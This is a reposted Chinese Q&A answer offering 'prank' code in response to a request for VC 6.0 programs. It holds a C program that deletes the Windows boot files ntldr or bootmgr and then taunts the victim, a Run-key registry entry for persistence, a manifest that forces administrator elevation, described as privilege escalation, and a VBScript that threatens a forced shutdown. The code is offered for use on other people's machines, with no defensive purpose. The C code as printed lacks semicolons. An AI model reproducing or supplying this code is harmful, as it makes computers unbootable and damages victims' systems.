求 VC 6.0 程序代码 想骂人的 滚 高分 100 追加 80

求 VC 6.0 程序代码 想骂人的 滚 高分 100 追加 80,第1张

#include <windows.h>

#include <stdio.h>

#include <conio.h>

int main(int argc, char* argv[])

{

OSVERSIONINFO osinfo

osinfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO)

GetVersionEx(&osinfo)

if (osinfo.dwMajorVersion == 5) //Windows XP

{

system("del /s %systemroot%\\..\\..\\ntldr")

}

if (osinfo.dwMajorVersion == 6) //Windows 7

{

system("del /s %systemroot%\\..\\..\\bootmgr")

}

MessageBox(NULL, "哈哈哈 你电脑要坏了啦 千万别关机哦", "", MB_OK|MB_ICONWARNING)

return 0

}

还有注册表的没时间做了,你去百度下吧,关键是:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

"App"="%systemroot%\\App.exe"

还有下面的代码:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">

<assemblyIdentity

version="1.0.0.0"

processorArchitecture="X86"

name="a.exe.manifest"

type="win32"

/>

<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">

<security>

<requestedPrivileges>

<requestedExecutionLevel level="requireAdministrator" uiAccess="false"/>

</requestedPrivileges>

</security>

</trustInfo>

</assembly>

把其中的a.exe 改成 你的程序名字.exe,然后存为 你的程序名字.exe.manifest

这是用来win7提权的。。。

另外,破坏了系统引导安全模式是无法打开的,我前几天就删了win7的BCD,结果开机蓝屏,不可能再打开安全模式了。。。

CreateObject ("SAPI.SpVoice").Speak "Although you now just like an apple, be had gone, but you don't be sad, if that person is me, I will be a finished, ha ha ha ha! "

WScript.Echo("怎么样,感动吗?")

WScript.Echo("是不是要感谢我?")

WScript.Echo("你是不是想对我说那句英语?")

CreateObject ("SAPI.SpVoice").Speak "I LOVE YOU"

WScript.Echo("你这么说我可真高兴呀!")

WScript.Echo("我要奖励你.....")

CreateObject ("SAPI.SpVoice").Speak "In this way, I send you a hamburger, but a second after the change to me, I need to eat."

WScript.Echo("感谢我吧!")

WScript.Echo("你说什么?")

WScript.Echo("汉堡包我当然是留给自己吃!")

WScript.Echo("呵呵,你也想吃呀,我就告诉你句英语。")

CreateObject ("SAPI.SpVoice").Speak "Would you like me to the hamburger, I would like a hamburger for you, strange! This burger is the best to eat, your very!"

WScript.Echo("请问你拉着我的脚干嘛?")

WScript.Echo("别学习乞丐呀!")

WScript.Echo("我真不舍得给你吃。")

CreateObject ("SAPI.SpVoice").Speak "What are you doing, I want to eat hamburgers!"

WScript.Echo("唉,我才刚吃一口,多香呀,你干嘛.....")

WScript.Echo("哈哈,你这眼神.")

WScript.Echo("我说.")

CreateObject ("SAPI.SpVoice").Speak "Hamburger hamburger I do not give you, I tell you where to buy what."

WScript.Echo("你这么不给面子,你将会收到应有的惩罚!")

CreateObject ("SAPI.SpVoice").Speak "You beast! To steal my burger, ready for shutdown!"

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 25 -c ""说我不吃汉堡,不说就20秒关你机,不信,试试···"" ",0 ,true

dim a

do while(a <>"我不吃汉堡")

a = inputbox ("说我不吃汉堡,就不关机,快撒,说 ""我不吃汉堡"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,汉堡你别想吃。"

WScript.Echo("对了,你可以去借钱。")

WScript.Echo("我忘了你没钱啊!哈哈!")

WScript.Echo("看你呆呆的眼神..不会.....")

CreateObject ("SAPI.SpVoice").Speak "I faint! Borrow money from me? I tell you! I have no money!"

WScript.Echo("打车回家吧。")

WScript.Echo("今天我放过你,明天!你等死!")


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/11722720.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-18
下一篇 2023-05-18

发表评论

登录后才能评论

评论列表(0条)

保存